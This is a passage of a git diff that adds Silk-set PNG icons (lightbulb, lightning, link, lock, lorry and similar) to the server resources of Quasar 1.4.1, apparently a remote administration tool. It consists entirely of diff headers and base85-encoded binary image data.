z$wh@msTr8&gVYAi($s0panyAF{~70=7Bh|!8ANA$x!?JIoO6_j@IPe*ID7Z~6(AWX z0Cs{1f^FdIX=die(XkIi1XSQ#-1toaG7Gh|Dhn^t=uehFhvBJruwfNMfwJ0*%3} zdmXN~y{MvcRCEHN*b)W=wEhgx{on+}Y3*z&xIpA^6ONi@I-a?4yzFGd@jIkuWRa3& z51Gp3;wA=kO-X4(hKS_lx?HP#AD)tuTgcS-1Osgj>SHf6UiJ==)=)@21D0L@_4_%W y+#BcJk(yxLlbwRt%r{=w__?DuyFM+oU_Sv>Crl?v_;CpU0000Q7ziEillXft-?i%S{ULc2tuTV zku4&OKtn|f`=N%&v7bT9OjGCH>)iW&EvC6nAyM?g;Vcg4`QG8z@v~D-3DyObZbn8FrO7AOG)vN>HAVAO1 zd|>TQ!Ora8#OwD9ZV&;{&AG$+%0d8)S^x5zSr-7?$rJiZ8^~k~?(aJc{ExYk%9wEz9*$Cb*fNal~9G{FTX*UZ{ zJH^WM0Hx(I{O|o#HlAQL*@udUh_?nXKOMMk20P>9I~hFnaSA8)7!@ zrx6yXhf!}e&q3a+=O%l3W`aUlqO>fHxKp5lzdT0Wp>{q#xk1FF*8t*4K)64YBy5D# zSP!wSO-OnY6`Oc#1G1W;s3<|SW-rafV;TT_ktD$LuA{u@KE{J{A&ScCDJh*py{}+G zjNeHBf;b5(w$;)U8PUfbI~$Fva{S`pRaM=ls{0TrJ6q97%gHW6Ruc8T{WjPZq2dN+ zUp^yox1-Oj_nn73<8$guiHf2kc}s&G5ma^j2Nd&OGLX~rfdBvi07*qoM6N<$f z0OSt9)0MS8W%O z;L-q8WFP@Nf3?+0?CuRGS1{^l2Oy*^VCn7Ss|Vcvtpxi=Gl`*R%XimL*}jN$Tq2SouVo>>LwT&4B)m-c~Buk*!FaLM+_-fu7<78P5Au*%2;jch6uS_ezdoP`Bx-3c6AxN za2KK|qS#2{Ai?nq9thKRR5v!@@pz!o zXka#*5s5_La5!krGFD>}K@i#`m~`jqE1cl0n03vOpwsCYV6)js;BvX3R4SoTsi4(r2{vaLt1*GaVrlgRGwTaFXZD%; z+T(BMbOv|>VJs$}Ad|@;7K@S8Znx8%WsAwBt}hV!Egh#e@@vXuvLgzG;v~m$pG+px uuGMPYllZCE>kSfTrTKT3u^Q`Py?+263;pR_rdOf>0000NTDuQO0#QiK zUf;ZBDU(h?xSXLlG?pV}VkWfl|x; z@>lp50?{h}qP70hy#k8X1e9zHnBfyxwkfb|OJMo7z*)Y*72AR3 zUO?FV!0^U>QEf+}I*vyz4vkt88r^m@y6Z$t&#CwcXW}QF1-c|*WmMwC(}|PLCa#W7 zo_scSeO&scgv`x}*;`ZUPM379y4JnsdiS~;vyZ%;bL8#8TVD>{{&Mf>hi7lTzJC7= z=s`oq1J{85l_&}F3uY+npD=stk<({x+foRcC$kewU-L0&ik)c4}H$(Q4^3hM@BI%U`J-40Af^p`_%I_^WsUSMZIPISeaj zFB9fn_93?}E;3tp-LAvRW)Bv1=I%dzYE5YRzj+J{{}?xDIc+w5T@0SCelF{r G5}E*sw&m0S literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb.png new file mode 100755 index 0000000000000000000000000000000000000000..d22fde8ba46eabd4335e4fa88077e80f96b92d62 GIT binary patch literal 782 zcmV+p1M&QcP)0XYhLR!1P*SpVQi>)dUV<_*6qInHGcnEb zQfX6|c{lO4l#RKaZC-XZ&u-_k%Q@eEE?Qa!_Tt0u@H@}<^E~``A^=3}gr(l4vU*i7 zyV6Lx=4yE7RGGkx6gV71cjvY=iqb#p!ylZn>j-Cf+b>x95wMRT==lzjH$f681f9ze zR{P)>$i_z3RfAovII&B>n%*Ds>XegyS_9EX5sW0f1d*FX&^tjGBX?Rzej4t{=ddW_ z9h>UH!(o9}TURNVdq{y5qM#$E1yaxnNWKtKkRh^p1YA9U=z#4*HY{(h_k{(nnF>pQ znJ2Y6(rFb^z)nJ2pnqIQ&_2v{yl+xxUhm5uO{Q#!J8DY)klFddFgD6!b$2Z)KY1 zC8w#Nc{lU66vv!%o4Sje)A!=G_kB9=ilt^9c=(_9y#MF-e>fa30AA}wX+MTgs`3VE zszkdylE>HvQdw))GmEAD(a2J#IC*owXG3dhylM4^CRW!3r@05Nl^@`kS@5hDF54v7 znMPPzqOnkOO>J%yAJ_n(X6tsWPRsiprcQ8cS|SZGPk^I`;acq@>LF)J@D3B~{khP| zPg@q-5_Wk2tIEPmcCMZ@=)tkmr0T%CYyiLJ7VokW*eIOK^#Esq@l!N(l{XqafaM{H z&S@Pbz0+jU40xxRn3mi|x11*OPeTBoi7LSA2cXLLV?2PRuZe3MJp&ij3l}{^;wwq) zF}Uo*#L!RfpbJjB0<5tBj6M$Bsuq)(zPtxuZi}5;TkIp#$HB}ckqPOr)`r2_AcD0% z0_L({FuGJws+(|_vcPBuFqM7yPXcpCg2dXJP2!rt%!*+w@&P>?PxKU&T14s-7}B?6 zWg-wfuY&$vEYwB8?H+)wJ9*n;gJ^PPyp&v^3Z^%HZZoZm0;LTFt%<`z-cE2-2bRB8 zL7BXl)m6vt+3*fbUlM%gt3pgGV`Z>aNB#nk$%2{IJVs6NWyBZU#)H=v5R&H4oKHBE zv;iQ<*c^XET^>GfCb3c4 zwwI>`$xm~|Y|mq&3YJpi?1xu{j2=bzp RNtOTr002ovPDHLkV1g5*h$sL6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..f4781daa84ce5f06b6064ea1098fe50803d84bb9 GIT binary patch literal 857 zcmV-f1E&0mP)q$gGR5;6R zl37SpVHk!DMysr;XmK|eDC@AeE|5Z7h|Z2W;Eq> z%yfxic{HE14`%YV?o_L_BVlx@OOdg;-}}Pqst>T*FAY4^0GFi~!s;)GoE{QyfMA~j zKU)uLOFR~;Z)z>=ihvCOM*nT6V@5TwMt4DU8i;hnJPDBLq7tNNY4!2Ht^E z1zQ)}mHWH^hq@?-H`bB{6GVQ7R0@({2PCIQl3*jSF}Rj%0nrNc_jpjBZr6JO%fs1} z%Qi-OXUL>kNG=O8EqRO{xoGlDM*xjP72r*S&=j2Iynv-2&z&MW3xVl_zz&o6Y7%=K z!paCS43Hgk!?n^3-uxb%DG8#(fT^70k{4iUPc%9g`^oePaK;y8LKbXa@55Fnhpjdi zma+(NR3;eB9jwv0;0%M9&O7lhfu&QKZR^V;aV_BV3Yd!n!Rk|po`TWJNlnIF)()&r zhCz}vFnvyhwm7203$XWO$QJA5Q>zoDWPuvcAI^HrEcFPCAqK222@CmqAu^p<{#gli z#!;TCN<6&b9?)&d!1>B(dUd=E_Ns?}0c5h<%<7(CI^#5Y?jAzxB^g?-Znrdr`YJa7 z+%h+%oYa;-n4c>N1J@o7aqcoiQxNp|=P;Ul23*}+Na{u~6-gM3KPEH>%MyGxU(Js4 z*Wrb)V%I(vrlBbJJl>?ALd~^ZV2K$8k$_@1kmV0L_ad4?e6{}p+j(v|?l<9j_Vt*tPdX$%bwqdsa693`;;G4ZKBSR&HPeL?m> zZ3$>8&yKlq{R$Hr8X^S+U68V)0$lxZN5naWKg`ek@H=iB+9G8_W2kT1mVm9)ee0l- jOq_McCe`RRyU+gs*;)rnB`lAt00000NkvXXu0mjfi8g(R literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_off.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_off.png new file mode 100755 index 0000000000000000000000000000000000000000..e95b8c5b1244a41c9dfacd733ec652a532052a45 GIT binary patch literal 700 zcmV;t0z>_YP)!y2hX0`01t+}>V>!L2Ii?(iJ%bC$d(ON6}*wnOwG9V2N zOG`{7!B5mwL_|_S2m}#C`CdG|@7W+M+U(-lIXipb-}9Vv-Vy*Mg_?2)&x|dud>nH6 z+Pg4Y7{H$F@$4DL`b~nbIs5knvB+k zHj8ub763Kx9CrFf76K8`6xv9LChyt?+yu)3H}{cgBtWFDjV( zT46G1p#RVaN{MFkER1%KNN}rd=ywA89=YD?5^*~T(5|_U4sv3(jyQy?qF#!I-YIcK zeuGD!Ck%N2HSJIh+U=tYeo@e&trgAm(x7tzP$_D_zeF>F>u*g-I^VNp4(M<9KQ~%~ z3}FWb=nBN{ra3RFTFeCC z!$l`CCu*vADm$NUP}Jde?Il#nFW_p845!NWW$Et^{&SQIRV}^fRyMzZQmIB=eG~3I zc!HA^Wx-;#MFG+)=LYmWJqQGXuvo_MLh%Zf$0hUI2Iy7tvy~@~#>&eNWlKvX*<(i} i@%N3@m$wc0AN>MB3Mf9{XhoL*00003kp_oQM4NsQ6$aEKj6mx0hg})10sT;E2V;K zUHNY7qG&TIJ`gc&M*EmdrgP_>>zSLTO=}7j2M*`nnfbo+_|8cvrSLzG(R^{I&fHg| z3Nfi70*Jk=pS3m4lD_qhO!oanz~FpWe?InrjDM6H7D@P(w+NOTuL0gfPQ>)8EiKPO>RV|@%G(EApK7|ni6$Or7s}#zN5D2fFuoW z?SUp(cysDe%D^FVRe!-fK+o2zXp zH&*H~_``&05AX{CqjQ9Pq)Pw`p&~+e-<5=lgjH9A;4MsYR*p|Xp3o{VtL6Q8vD&1u z_TBwgt>E(`Zp(h8_8f=r&cr~-uy!|BC|zGKq17aQeR}wL=f1PUhPjus5Lo&7j={xc zCLhQZ=E~bn;<}`gh7Bu?>ih@P+*yw5-^u2k8!el-HG?lt4o$V&*`tbh^4#JtCOgRB z@^-thiGaZ!P|20J4^o7;v)78_|FldDe9Z$i&;9^|y&bKi-n=y{JsccrzVF2T076QP UWao5~B>(^b07*qoM6N<$g7%3ha{vGU literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_add.png new file mode 100755 index 0000000000000000000000000000000000000000..dac3c9050cd1ec973e93370f917bca2f06fe420c GIT binary patch literal 746 zcmVR5;6} zQr}BcVHoxg@IIoOz{C_FkX>Oj)x$T^-or(4Io9&zA%s>3`~3neJ;|LkE5gf`w#IA;av{V4EB^<#! zB9FzGXNbCPfwSa+H6BHf#)#PK5HOXKbU9p~WGQh8yucGQ8oav^+(a%yW7!A{W{T3i-_H?PT9GgX0%t6b6(YvG zq>c)N#`6#y$-xRaAD($6fPXtRdwEB98b8;yhqu2^Q3`7 zkmJqYbtXWB*0u8ty9G#BGaV zK{OtC+@mjqTUP*k$1cC^?T#%4_tMd8d4-LuXQEjk*aS{?bW1STnFeyYZv8&<#_`)JidW z8<_=K;UmF(%&0xoDfK!!&HLVSPXE0+I8C$bz{h{ifA9DGuX7|J1pa3!=?87N=Dy(K zqA4mk2RK=_zPFItGyc7}Zm8rR0V20<^R}86VCIi(69z+c`4i%6zHo~Cm%#GiiJPjc z+y)A)Yn>3f0j}#1Nga0gImB1TO)?|0D?O-fGdgc~Za)YXov@+_eI0i986?AVh^_j- z8L!OjfhDl?@%VXrjz@*0f2t}U)ON1Ic^&`_+1t|JGN}q@kg0WGv z0h_~vSa8zJ;Hsx#nZvs##F&JRXNybQYTLfuOD@Qxo7; zb1kfuU+@D zT1Z*wnCp24V^Ky$O(PuMeTa>|#FuxkSa4#z&6ce(lts1Ta3iub3eDezK;P%Jaw0pY zdm(kSAZMl%r6q;3kVKo3N&eckf7t0NLpU&is5Z4iVtWzg0p|`cP=96f4cyoXnMKzs{AvK_${3I2JB+KxN0Ufu@$4=bzE&*^yIyyx1BT6wnTq{7MmcwQ@C bH~oJAm=C4+@afe?00000NkvXXu0mjf4;oKi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_go.png new file mode 100755 index 0000000000000000000000000000000000000000..29039e6a8b40f6ed99cae87f21ea8bf7650f265b GIT binary patch literal 739 zcmV<90v!E`P)ZgH#N0snj1RZ=5O!&o^!gea_a6n@WA=tJm=FUBKRM1W*hOrV~>U9f`~wv z0Tu|Y=)%0J6Hoe^LggC>gr#M3MGJ%lAchdF!VuE253mxEF{r-t40G)#`jbf6HD_`WwU$M6V#vcM2*Q#qvS~OkA~o z2X+9Mdw=9?o+sdf%>_z*h8O~qfunFgSf^kugh83b=D^9J(VPUr{K(}ELQD!`%%7PJ z?Ct=T=ZB$^(QAR`p;x)CV4LkdROfK{`n>)VP_cHf(h#k|mIYVoX~ZK>M2OYH#R7NA zC|vQRGY(=1aUytrq|_-S?Jn~~ebu-#6>{G$ z;Iu>2K>%gc%R!i`>EriVc(@Y%d9-x~vXMRtlG+efgGAvu^>|a(&{& zi#?t96Q26xH5Wm`ASN&bGl?jQ3$~$m>`Ow7tFbhel@i4YmQkqm)z}W~Y{bXOcjySeo>2x3)2;HwxvuqoCi6>( zE1z8&OJ>Jv@7Yr}`zB9kxMNB&8m3!icqK{XA4Z;5)n(h+sJMkx;HE>i-atjR|2L6A V!PJ$`dXYaZs9=SbAto%g@>T~?_bH&lTUn@`uo|1bXE{eSR(AO)ESb=V4`uk}mK|39Px&03WLbv~pzk+s7D@lK^ zn+aB+sp)&Y_x-B3>;6ywU--WQNUr<8>TU0P-|L#1U&;A)67w(+> pDf@fM7q9#F25QXo3rUI;002ro52U44e~JJA002ovPDHLkV1l;_q@Mr) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_add.png new file mode 100755 index 0000000000000000000000000000000000000000..00be352c5783c0f009db7286bb4ac86f306634db GIT binary patch literal 570 zcmV-A0>%A_P)O?!~#Vdl*A~_RMaJeHZc^62(la$ zXNk(f!J;Kx`k;bWQJvnEklKv4E*yUMoqNvtUEX^F0D`|j@Q(r{5=p1oY+msBe7DJD z5^lHq%4)R^@aW?E8gVou4QYP_h{fV|l}fb|4u?^%*HNq0P$(4O@pvv=E?2Qytv(Z1 zDwRMQ(vqhcAQFj2>~{NorBb;y7z}$#rSi>WG9eO)!0B{?dg5r7N~NwyOP=o=ta!a% zE*g!p8jYqyDwRIw^LdoZWfY4=WHK2LM>EopmORY>hGAw|mc5I|PN#3O*(?%?1Z*}N91cgL4{iEji;aEEtZ88I z%HD_Pm~b;dC=|BwEA}fCic6!>_++tII36#0y?%nn(Cp&Gi)U*JyQeW6UFQ%wFhd_= zFktBpwDhgV{lnb$$vU>rBA^N!nh-iRQgVr8yH8%}^ zZn9za?@#`2175f^8t6qZXKdU|Cq1|P4!%N`c|6eCU*|IMpHVxOJgs;lasU7T07*qo IM6N<$g1Olt-Zay!otGN&dx4Z%tUM% z-6<(4Emq7#ecDk`Q9nOFDOAfygWN1t%tnCPF)=YKRLe$z+E-UsCsD{shTW5slPxVR zl9G~^mX>O2YBDl1OiWBNS!mk&%&?mzSQNp02L0!NI}A#Khg*-RS7(8zIVj z00015bW%=J00RR91_%fU2nY!Y3l9$%CMPE;DJd^7GBP$cPFh-CW@cw;Zgh2uija_= zo}ZtrtgWrKxxvB0)YsSD-rnBd;o;=upm^ni0j^cXA- z*i3Pi7&!rJ(;l0zH&CwUF?-Vr$kMI)<+R7)bg8$}GJvWo4u(?`GX3G8sG{N}9^~c> q_zF+tZgs_s5AQ;Ywm{;i;Fl*#2OO)S(p+i)0000FtxkUqfe0->=sJTT0 zxkUr2s;Y&Bh1J#7XJ==Pjg512b3Z>nWMpJ(Yiojnf|g-M+1c4^YimJ4L9a#%$z&x< zOG~{?1j}nJzE>Z-LIg%eMp02wWo2b?adCKfczJnwk&%&-l9HE~m!6)Ut*x!DuCBO- zYP>=Py}iA`!NJ19!oxw|`b^z~x81$WE z^{8_8wT<_+jreu|{>`rb*0}$75&wS}|Ary|l1=~r{}~5A*Z=?kI&@M_Qvd@73JVx1 zFgHU^UT0}-bai-ofQpKawzh&)UmL&P-{191*<=%24H3hNqjV$^x_hNH3QH_^mMjTtyZ$M zKB5I6w?{+$PQB3?l!rMB0FlCzNMp74t45QQ4l*wv8+v6+o86(g*3M%S_5fp9@M!XJD7zzCD0++nw0<1$_~** zQs@V3kR!#AEgGBVrfuf78Z(%>=H@rs#?$wWE?sQUtrs46dEOr$UY?f*fc7t-{U-~m ztE=~RcXwac>-8C@(+Q16GbfYDDoN}o^903FHL8c|{bK=>$=u!4)YNY>nUG4QkVqup z_xqvMYQLz}>OedmU#GZWFbLP+Rm7eOF#TMQ@keY-*h<@J<>loU6bi+1G#bqa1Ojhk zW8S z`FuW%jg27?2*B-jL)lqDWTH0WI?f;+(O@edL_Q%ydh`mWo`?`0Y+D*N^XRl=WHdK7PZ^EItjpy} zdpsUE91h6ka@Y()WFjhT5h1M22tmxZVr8-yGmhG&kH&Ll+ef6+>AOhTWgHGCDHe-Y zdwO~Z5{0{Rrgiay^7n8%h`G!7@kxzoYu#$ZP;t7b54?Q`E>6Bt6t?mK5J?f%=i9JM zDw(#`=VJp^M~WKhVb@_%)Z2@R*Z1&kqy=lqR;0&o;IozWJ!Y&b`KuFMx9fqGS;QV( z!f@|FyuaT7zwXpR*id-;a3jFMu%@C#&gw_4uqA~^s6002ovPDHLkV1m3RKd%4) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_error.png new file mode 100755 index 0000000000000000000000000000000000000000..ab694b1ac4d7f1b68677912cd1ec0f99018d0dcf GIT binary patch literal 698 zcmV;r0!96aP)8OAT^C6!q-hsL7qc;vnlp1n2-QX8u+%$OL$pGNEQCpFO@jD}SYymh zC~6e=WjY5HWgF#|xz8nyvQ6D!+wouYbj|`RMY{T^^4I*=!bqARrQn zz;3svtyXI^nM{^gE*6V{X_%IIY5=KJddzG#FD4R+f>x^?Q7V-`+S}XV^?G5kSm5qD zkMINS&kH(jXkcIL;VAliKD}D4-Yl2Pmw28>JRZkrG=#)cJ@TmlCLf*h zFb&f(PYocENG|I2`i0)!-j24mwr5REO%;Vg0gXn3TU{qGKh=lo@-!v_n(8oT^Dr&* z)ByE#sZ^?|o}QkC!NI|NFc^g2?}x)?!g$~$O7o9V`szkOc!KcVGnM0N)ko&30mNeQ zCfasGOH0d)PN!Qo8jVGh$yg5GQIF-4LnwW5AbNctD)}MAxn}g+51E<5Hw*OPik~~M@=5zUQfKKX zH;{>VG3Jt8-4O8hw%nMBx>3&hSF5k2PSX)&t2;>>K)yXhv`g|mV&AiST>x!wmgEGK z3p`45^bO_$YhoDHr4N{W*@x#=abR5lZ7&z=ZXl!1y@XaGv=Vu7t)7Ih>>|`ec*{=0 gckUpe%iBkP0k>nXO;Ji58vpIQGBO!?02_G#Pft%iK0a)0Y$+)zDJv*HKR;}2Y%wu0larGzEiIOo zmTGEhGBPquOiWl2qSt511(d3>)`fU{wNvs!|+XN9(Ag|=#mxNDBOZ;-rn zk&%&-l9HCefS1C8n8Jgeo}Qk?h@r-cp~s4)$c?DWkg3X$s>_kBt*x!il&-F>u+Emf zy}iM~!NS7A#KgqT&d%N4-RS7(16gWb0000vbW%=J009F81_lQS3JVx1Dlj)rXK8eG zii){JUk0bLQGfS|gNxPg_mwUuL_jk+LEfLlgGCEdr{!^uCz*PI6^z{D%Bt>cxE zmXZ{n;AzMRwb~^uEHpSED8^17Dqx$O7#|lB?Jms@6)-b3F}9C#mSRJ8v9g0C3yK$% cESZ5M0GBcxRE_D_=>Px#07*qoM6N<$f_#7(yZ`_I literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock.png new file mode 100755 index 0000000000000000000000000000000000000000..2ebc4f6f9663e32cad77d67ef93ab8843dfea3c0 GIT binary patch literal 749 zcmVe|tv9>?g+k#9o0pTxd@;_sq{kwlU;^VvV*?BV8P@}BoaZTQUROpWV6|-M`|^n&)=+8tHo3*<<$NU zU`%V~ZF;?hBSYsjJ6%JzV}E(D{pOLqQklliUf9um_tGl-wty`y*p?eYNW56P>X@1s zZs7KrRZKtmV7Lqj^5Fgr7_`LjhdJK@ltF&O`j7?*NUM$KvmNGz)3WjM?V$vHlPT0AFyF?kLE<#HZabCSW3-oa*6;Z zrXD`Ulwd<^2glP%1Y1Kc1Ij%DU^=ME(jKf6APNlA$Uu;J4bVilQHSWX5uJ$9Zsp4M z0%!@LvyTxz=Z6stxlichODIY+yNGt%RM;m`>H4LOKLFs9Y%b5aUN|2|{0Zw|<_~i} fmXz*V19AKYaD# zqJ;$!L?LRd}e49w&t(~$j)WaBu0@9%c*o7Cy&!r|R_?)koZzV9A^F^1ALJUm>k z>-uF))7mI1DM0aqVnS8b!JeL;<rL6_6GkUAaFSyzVmv$^|CA@kw_qu$?)4DNfMk+r%@LUhi56*+}GEa@Z5ADr7_&ySe%yVMuuAZa>R&dhFhLUY|yB)Du3cf5wWt^UJH@SAv{y6^y!r3!*jPK9NF%|U4$$flqzeSn<%3|-B_Ru=%13nc{9B6NO} zjGv)5q;nk{P3=fL9VC1WHg)*%WHN^Frs(C$?Nu9cAlhtC5?qmKw=Y&mrvUEPQAJ(WZm`O>-V zqM`fJ!CUawH1n;sC_$0Q1Dy=w9)w`Bucsq2QZiFsrP)|OXnq{;=f`lxe+O5eorcw9 z;n4gl0heH@Jqz1r69luR_=F<8gs$P_*9~|v^&IWZ`|x=BCd~BuW5H1lygsnSYr-p8LY@h*(vx=xS@d5|3BLf^$(>I_TlFFU0000F?<1APhrPm6@3t=I7^Y-uqpp zyJtoLmzlB>Ksqs;7m*vqVzEDpBBrOOsnu$T2xi7Wx^eZ$)Yx5M190O1xfOtj40m^T zZ+FfyJ3ITvdw*C&{t*#=y?1fAtG+M}yaG05rfm5;fcJi1E|+6&ZVu<%iII_!w*bwf z!ExXcaP`X2_~m>)e|zElc^exWJGdIKJ`6*u)hgcmzZ0H50KZ?@d-hhayxi>U?4(|= zKl(=EyZe9G!?{5|e##;uoc!@IDRY>3%*XAVaP8S1RF#cwiyYtln8DLegE)a1zx;fN zfRG@SCEyrn0O>ZsKpf($oExfvIsjf@fAH0Ti3be7@E7UKI)We%+5*`Em_q#%vh<3m z@d5R9vi&1i)Jy=p2Q`q0O8E(4xQ4>c{k*?3j_C$^4-8RxSte>M(%#pFnP4tT0vwoO z;wTL6AZ%R+fg(-e`9hXnA_~QRKG!msuY>6dAOtYyFcT2R;)`cg%8wxQ=x3$bXo5vl zW~QmkzKhpY#hgnda4x1wL}8$hRPF}|BewnaC)=EdrH^zLduUy1i4&-;21KBW`iM%o zOe)t7ZFxwyf_hl0&{+HzSF6(A+kv6++DU+!klAvI?A8=PYbJieumw~gYS7-OBCd(4 z#J;>w0HP*uZjQz-yvMxz(thPcB>q?;@m&Rg{{XvsrAoLsMFs!>002ovPDHLkV1mrW BXp#T` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..ecb50a93fd53c590b260ce9bbf88341386f7b0cf GIT binary patch literal 815 zcmV+~1JL}5P)5&PNmf`5mIF?X(>Nr_OzAky>%LC^xjHsh2Y&83|M~y#eBXD@6&Pcv9797xHKu7^ zH4LMjVgm&zeo~C-x<1g;)AOscUZ?~Jg+e>2`EEl)gWv6TLli~O8pUD}sZnrfJSVp4c1)t9s z&@>IvXmlo<%_=mv@!<2Rsi`>*OzZ+AC0Op0%M(hryId~BVlhzD(O@u`sF0fI@9*zO zBoYxtQLNhk0n~HNbQ+(>@z>xv&W_g*+xj&g%)UCq#$v6Q&p0j3$J)jrF%8Vn!SvN{fuF<+_4FOc_Bsec4HZ@aP7kF`AfJJ;^aX0+8%#Y9r#}d$mMQ>Y|L@r?0{8Z$n|?5h5=~G1^ge$$AHj+-1zLv@U!O6N`8BLUfo#6Qx24@sY;} z9O#B4_6)+{Nw{Y2L20T56WC?B48XNAlHl2@KyuX*fQsf*=h3X`cyeMGj!k~x@RikT zm9P6CnS!zcpppkB8N@x9B!G2*gN&4Il-D7-?Z}58qWZx_V)Pw(>d7uiFeJ>a0&ofT z#aB_TViqb@}g8~$BiXmB+@3yzMZ{VN7WC4D^zmAgoT`rf$ZnuMFS=o7-ne@ z=zLdKSKvPYCEIB8v)Ajb5=9ZwXcRop>!*X`I5?e7XDfBVd{17oh+bK*PKiy_4nC-jk;Xt zueW*fk~5~DKa!!CX?1tRMiZ} zo>R!oKY_5qVCh>5Qd(R|3mZo{kck&B90vmyjLAatX+UMjooz_PhLK4G;PAF0J@*J~ zzKlFu1yQha_(W5=5ir=J99ke8o=Gnas2Yy`-|!W=1KRFoY&N68Pt=E)G(Jy;nW zMVep2;f_h8ovdCaRJsd_h{VJw62TEHL?*Es&!DWP72-lKO!*oz>lKI%e1h}jHK57nhq2wufGe;=lf)bV^ltWZi);*ZOL}(uO9zQ_izDih2&1l;1BOiW3;*%(J zQ~4yykev(AC75^LfTh9&e~Z~@A=yq~k|qjJgd{16#M}AB@4vbhi=h?^Ed(L}K&wJD|>xJihJn!@Tp5O2HzLI5G*jhtFLq5|q zdpPGE6hR75tWt~{hVihwyE~5^OWFb$92{(==8@{^>O+3N9}b5D^bbwbkjZ4QM2mnf z_4f8o{{ukHKHB_LS65fh7(+UpMxjs;(;>?;!r`!8oJ=McDAy8?$4grP4)LJm?MNh2 zuj@MI=H?bvRgKcOON98Iot<3~z{IYeq{Ox}ki~4dlrZm5*%LAIDh ze^&wvPv8BKASQ`IhAmtV7%euqo82;HJ7LTmQ(G@Ncf0xg}; z3}!bgKj)#F1_A2Osb;;bqILgCmM>%|B_gF*g;{RgO- z+hE^v%Lw|aFqIy|SZeeOSxe3ofCnT5KKEmO4ItiK#(#uOKPCdB_$>BjJ`xS|T6UQF$ z^2RB!G8RXAV0&R-9DOs4-*38M$U9ZMTziF)0^Jw^yt#e>9x2Gxz6Fgs00000NkvXX Hu0mjf94>kU literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_open.png new file mode 100755 index 0000000000000000000000000000000000000000..a471765ff1432092e7113e56b42f2798968b443f GIT binary patch literal 727 zcmV;|0x127P)rLKlJyH=-*k3W|aiVYC~e{STzB+=%NyKm^5w z3m4+bm8cXnzG}0Gw2c^Ol0K$0_ity0#@^}dhsl97GUJu9lkxh`Okt_0|=(|h`!tol*)tahk*i! zgS8GLCq{|Gd7N1T=a4u`0gM4BU}M^~w|L$b3WtyL{rO$Q?PPfL6z$J7;&2In&vryC zqT@6`g9u_Zg@Xt1vO7RIY-D-g8eo{1!oIz%ujUZ52IBq#JOI%e5ertc^kIf}?KOA? zx9*6-2qdQcN5WDRs@&WP6I?Nxm{No*quRTbIBKa{opLb zA%3`w)e+)sGB0CNfHFvOi&e6QxioJs_E&O>(i(H5HPdeu45xa7-3Gh;%9Wh4nr0hffOdNC-?LD$p>QUytZsFT-LsVDm- zkkSuK6Kx&cjl{J`-nH0(5h`dBM1#Fu?T7^`3P5)5#Nmi=+?@y~3iOBukAMi~N&`d$ z;nBbdW?w(fN{^ns%ib@_e0kqddisx3UCQcxgClhAKEkK3ZBvskK4+6J=duqo6B*0Z z`QiTU4DIirW#!`(Ko${HDwSbi45$P5fJ;R`n&p9uvCp3Qf^#rZhr`|b(6_bjBcSYSnl@17o0 z)pF+)RYBDvVi7U3XstoS#P(n4-TRk-s+O?SZ#U-- z)uGNa_H`=zYUj&~Kt|x~lMf81CQ;)Mqo`42MrV0VSw3O~Bc64YMQmPO#FhK~#Q+g& zXE?Du&d;pTaAb>yqyOehmQ`|mY#Y(V0i&PCsjeu(8q2JJvj#Qku+h#oIx!g|#bS-c ziX%BTMcU{e0b{07G2|4MWE_{!c_(24iWf`S(m^_V9x;_3r|*R!TCfs0LU3^RChxt& zIfwTSAENUNhk1oQi}g9Zn{Y$;-|Kn4Z@$Iqxp_zk5y&5xNH2$q6FF-#i1j9?bWg>zm73!<7nwNua&|TB_w2 XJTQQHJy`Yt00000NkvXXu0mjf949vz literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..66217f52624e760da3f2d580396f1c90a259cb66 GIT binary patch literal 683 zcmV;c0#yBpP)%;e;!*Jc25-JmCI%BTIqI9dck*$7$fCUN^nZ8d@iAQQ zX#k5NvAFI%c=`S=fDFO4kr~92YhWuN%V5i(G-vU_sv?jhSW?u7f;buu;{Nk@r2r6c zE{)#Zli0|a^(8y7FZ~ZLEDPa6q7fwp2D1yxI8YOWvkqATaTaV-{-Dba3fYX2 zBf*!%I#QOm2&~-%lSOWEdB$<_ofq;iz)*5Hw)PtC_Em(FaoExdw5FQ?oP#-Y{D`Uw zLb(R&&?ca>q35f9OhXM3TIwnUu_xGXn(-J(%EPua zT=d_40N{xU=U0S*6PLF>(2YuXVrtEH!W3x_%(Zl%uPOR5f^=#D8vxc;J;dUe-&U9k zOUs8ozn!3;n*~_)c42wRV0zxL0uRl0;~eeYd*#!eLm_g8C7!sOgbzQEt?#Ao=_5Tn^=QTAA5Q0H44#5pbGC^d5$hc_@ z1iISyrOiM_;pCM388t6*xtEU8Qgn%oEH_%6H*x=JA6=nL4a!wF&J5f-&}Nq@=9M-5 